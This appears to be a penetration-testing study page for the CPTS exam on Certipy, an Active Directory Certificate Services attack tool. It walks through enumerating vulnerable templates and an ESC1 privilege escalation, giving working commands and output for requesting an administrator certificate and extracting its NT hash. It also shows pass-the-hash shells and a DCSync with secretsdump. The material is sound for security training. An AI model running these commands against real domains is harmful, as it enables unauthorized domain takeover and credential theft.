Certipy

Active Directory Certificate Services (AD CS) attack tool. Finds and exploits misconfigured certificate templates to escalate privileges, often straight to Domain Admin.

AD CPTS Python Linux (attacker)
LevelAdvanced. Needs a working grasp of certificates and Kerberos, so come to it after the core AD tools.
Know firstThat AD Certificate Services (AD CS) issues certificates that can be used to authenticate, and what a certificate template is.
You will learn tofind vulnerable certificate templates, request a certificate that exploits one, and authenticate with it.

What is it?

Certipy is a Python tool that attacks Active Directory Certificate Services (AD CS): Microsoft's PKI infrastructure built into Active Directory. Think of AD CS as the system that issues digital certificates within a domain, similar to how Let's Encrypt issues certificates for websites, but for internal services, users, and computers.

Here's why it matters: when an organization sets up AD CS, they create certificate templates that define who can request certificates and what those certificates can do. If a template is misconfigured, and they often are, because the defaults are insecure, an attacker can request a certificate as any user in the domain, including Domain Admin.

The certificate acts as proof of identity. Once you have a certificate for the Domain Admin account, you can use it to authenticate and get that account's NTLM hash, no password cracking needed.

How AD CS works (simplified)

  1. A Certificate Authority (CA) server is set up in the domain (usually on a DC or dedicated server)
  2. Admins create certificate templates that define: who can request certs, what EKUs (Extended Key Usages) the cert has, and how the subject (identity) is determined
  3. Users/computers request certificates from the CA based on these templates
  4. The CA issues the certificate, which can then be used for authentication (like a Kerberos ticket but longer-lived)

The vulnerability classes are called ESC1 through ESC13+ (Escalation scenarios). Each one exploits a different misconfiguration in how templates or the CA itself is set up.

Run this first

certipy find enumerates every template and flags the ones with a known misconfiguration (an ESC).

bash: your first scan
$ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
  • -vulnerable shows only templates with a known issue. Without it, find lists every template, which is a lot of noise.
  • -stdout prints straight to the terminal instead of writing files.

AD CS can exist even with no web page on ports 80 or 443, since enrollment can be RPC-only, so run this even when you see nothing obvious. A flagged template like ESC1 means certipy req can get you a certificate for a privileged account.

What does it do?

Certipy has four main capabilities:

CommandPurpose
certipy findEnumerates all CAs and certificate templates, checks for known ESC vulnerabilities, outputs a report
certipy reqRequests a certificate from the CA using a specific template, this is the exploitation step
certipy authUses a certificate (.pfx) to authenticate and retrieve the user's NTLM hash via PKINIT
certipy caManages the CA itself: can approve pending requests, add/remove officers

The typical output from certipy find is a text/JSON report listing every template, its permissions, and which ESC vulnerability it's affected by. This is the most important output, it tells you exactly what to attack.

When do you use it?

You use certipy in the post-compromise enumeration phase: after you already have domain credentials (even low-privileged ones). It's one of the first things to check once you have a foothold in an AD environment.

Typical scenario:

  1. You've compromised a domain user (any user, doesn't need to be admin)
  2. You run certipy find to check if AD CS exists and if any templates are vulnerable
  3. If a vulnerable template is found, you exploit it to get a certificate as a privileged user
  4. You use the certificate to get that user's hash and take over the domain

In a CPTS exam context: run certipy find early in your AD enumeration, right alongside BloodHound. AD CS misconfigs are increasingly common in HTB labs and exams because they're realistic, real-world AD environments have this issue constantly.

How do you spot it?

You need to recognize when AD CS exists in the environment and when to reach for certipy.

Signals that AD CS is present
  • Port 80/443 open on a DC or server: the Certificate Authority web enrollment page runs on HTTP/HTTPS
  • Nmap shows "Microsoft Windows CE" or "certsrv": the CA web interface
  • BloodHound shows "ADCS" nodes: if you imported SharpHound data, look for CA servers
  • certutil -config - -ping on a Windows box returns a CA name, AD CS is active
  • LDAP enumeration reveals CN=Public Key Services,CN=Services,CN=Configuration objects
  • Port 135 + high RPC ports on a server named something like CA01, YOURORG-CA, PKI
When to definitely run certipy find
  • You have any domain credentials (even a basic user)
  • BloodHound shows limited escalation paths, certipy might reveal one BloodHound doesn't know about
  • You see port 80/443 on any domain-joined server
  • You're stuck after initial enumeration, AD CS is often the overlooked path
Pro tip

Even if you don't see obvious signs of AD CS, still run certipy find. It's fast, non-destructive, and AD CS is installed by default in many enterprise setups. The find command queries LDAP, it doesn't need to reach the CA's web interface.

How do you use it?

Step 1: Find vulnerable templates

This is always your first certipy command. It queries LDAP for all certificate templates and checks each one against known escalation scenarios.

bash
# Basic find: outputs text and JSON reports
$ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10

# Print only vulnerable templates straight to the terminal (easiest to read in an exam)
$ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout

# Find using a hash instead of password (pass-the-hash)
$ certipy find -u user@domain.local -hashes :a1b2c3d4e5f6... -dc-ip 10.10.10.10

# Find with verbose output to see all templates, not just vulnerable ones
$ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

The output file (e.g., 20241115_Certipy.txt) will list each template with a verdict. Look for lines like:

output
Certificate Templates
  0
    Template Name                       : VulnerableTemplate
    Display Name                        : Vulnerable Template
    Enabled                             : True
    Client Authentication               : True
    Enrollee Supplies Subject           : True       <-- THIS IS THE KEY FLAG
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : None
    Authorized Signatures Required      : 0
    Permissions
      Enrollment Permissions
        Enrollment Rights               : Domain Users  <-- ANY DOMAIN USER CAN ENROLL
    [!] Vulnerabilities
      ESC1                              : 'Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Step 2: Exploit (example: ESC1)

ESC1 is the most common and straightforward: the template lets the requester specify WHO the certificate is for. So you request a certificate as Domain Admin.

bash
# Request a certificate as administrator using the vulnerable template
$ certipy req -u user@domain.local -p 'Password123' \
    -ca 'domain-DC01-CA' \
    -template 'VulnerableTemplate' \
    -upn administrator@domain.local \
    -dc-ip 10.10.10.10

Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with UPN 'administrator@domain.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Key flags explained:

  • -ca: the Certificate Authority name (from the find output, listed as "CA Name")
  • -template: the vulnerable template name (exact name from the find output)
  • -upn: the User Principal Name you want the certificate for (the target account)

Step 3: Authenticate with the certificate

Now turn the .pfx certificate into an NTLM hash you can use for pass-the-hash.

bash
# Authenticate with the certificate to get the NT hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@domain.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@domain.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

You now have the Domain Admin hash. Use it with psexec, wmiexec, or evil-winrm for a shell:

bash
$ impacket-psexec domain.local/administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe

Other ESC scenarios (quick reference)

ESCWhat's wrongHow to exploit
ESC1Enrollee supplies subject + client auth + low-priv can enrollcertipy req -upn administrator@...
ESC2Template allows "Any Purpose" or no EKU restrictionSame as ESC1 but with SubCA template
ESC3Enrollment agent template: allows requesting certs on behalf of othersTwo-step: get agent cert, then request as admin
ESC4Low-priv user has write access to a template's ACLModify template to be ESC1-vulnerable, then exploit
ESC6CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag: SAN can be specified in any requestcertipy req -ca ... -template User -upn admin@...
ESC7Low-priv user is CA manager (ManageCA permission)Approve your own pending cert requests
ESC8Web enrollment (HTTP) endpoint vulnerable to NTLM relayRelay with ntlmrelayx to the /certsrv endpoint
ESC9/10Mapping issues: strong mapping not enforcedModify another user's UPN/dNSHostName, request cert
ESC11RPC enrollment without encryption (ICertPassage)Relay RPC to the CA

What do you do with the output?

After certipy find

  • Check for ESC1-ESC11 flags: these are your attack vectors
  • Note the CA name: you'll need it for the req command (format: domain-HOSTNAME-CA)
  • Note which groups can enroll: if it says "Domain Users", you're golden
  • Read the output next to BloodHound: Certipy 5.x writes text, JSON and CSV (-text, -json, -csv, -stdout) and no longer exports BloodHound data, so compare its findings with the ADCS nodes in BloodHound by hand. Older releases had a BloodHound export flag; run certipy find -h on your version

After certipy req

  • You get a .pfx file: this is the certificate + private key
  • If it says "pending" (ESC7 scenario), you need to approve it: certipy ca -ca 'CA-NAME' -approve-request <ID>
  • Feed the .pfx to certipy auth to get the hash

After certipy auth

  • You get a .ccache file (Kerberos ticket) and the NT hash
  • Use the hash with psexec, wmiexec, evil-winrm, or secretsdump
  • Or use the ccache with export KRB5CCNAME=administrator.ccache and then use -k -no-pass with impacket tools

Common mistakes

Things that go wrong
  • Clock skew: Kerberos is time-sensitive. If the auth step fails with "clock skew too great", sync your clock: sudo ntpdate <DC_IP>
  • Wrong CA name: The CA name must be exact. Copy it from the find output: it's case-sensitive and usually formatted like domain-HOSTNAME-CA
  • DNS resolution: certipy auth needs to resolve the domain name. Add the DC to /etc/hosts or use -dc-ip
  • Forgetting -vulnerable: Without this flag, find shows ALL templates. With it, only vulnerable ones. Use -vulnerable to cut the noise
  • Assuming no AD CS: Just because you don't see port 80/443 on the DC doesn't mean AD CS isn't there. The enrollment can be RPC-only (no web interface). Always run certipy find
  • Not checking ESC8: If there IS a web enrollment page (port 80/443 with /certsrv), check if it allows NTLM auth, that's vulnerable to relay attacks
Time sync one-liner

Before running certipy auth, always sync: sudo ntpdate -u <DC_IP> or sudo timedatectl set-ntp off && sudo date -s "$(curl -sI http://<DC_IP> | grep -i date | cut -d' ' -f2-)"

Real-world attack flow

Here's a complete ESC1 attack from start to finish, the way you'd actually do it during CPTS:

bash: complete ESC1 flow
# 1. Enumerate: find vulnerable templates
$ certipy find -u j.smith@corp.local -p 'Spring2024!' -dc-ip 10.10.10.10 -vulnerable
[*] Finding certificate templates
[*] Found 3 enabled certificate templates
[!] VulnTemplate has ESC1, Domain Users can enroll, enrollee supplies subject

# 2. Exploit: request cert as Domain Admin
$ certipy req -u j.smith@corp.local -p 'Spring2024!' \
    -ca 'corp-DC01-CA' \
    -template 'VulnTemplate' \
    -upn administrator@corp.local \
    -dc-ip 10.10.10.10
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'

# 3. Sync clock (important!)
$ sudo ntpdate -u 10.10.10.10

# 4. Authenticate: get the hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

# 5. Use the hash, DCSync the entire domain
$ impacket-secretsdump corp.local/administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe -just-dc

# Or get a shell
$ evil-winrm -i 10.10.10.10 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Port 80 and 443 are closed on the DC. Is AD CS definitely not in use?
No. Enrollment can happen over RPC with no web interface at all, so it's always worth running certipy find.
Why add -vulnerable to the find command?
Without it, find lists every template on the CA. With it, you only see the ones with a known misconfiguration, which cuts the noise.
Authentication with a certipy-issued certificate fails with "clock skew too great". What is wrong, and how do you fix it?
Kerberos is time-sensitive, and your clock has drifted from the DC's. Sync it with sudo ntpdate <DC_IP>.
The CA name you pass to certipy req does not work. What is the likely mistake?
It has to match exactly, including case, and is usually formatted domain-HOSTNAME-CA. Copy it straight from the find output rather than typing it.
You find a web enrollment page at /certsrv. What extra check is worth making?
Whether it allows NTLM authentication. If it does, it is vulnerable to a relay attack (ESC8).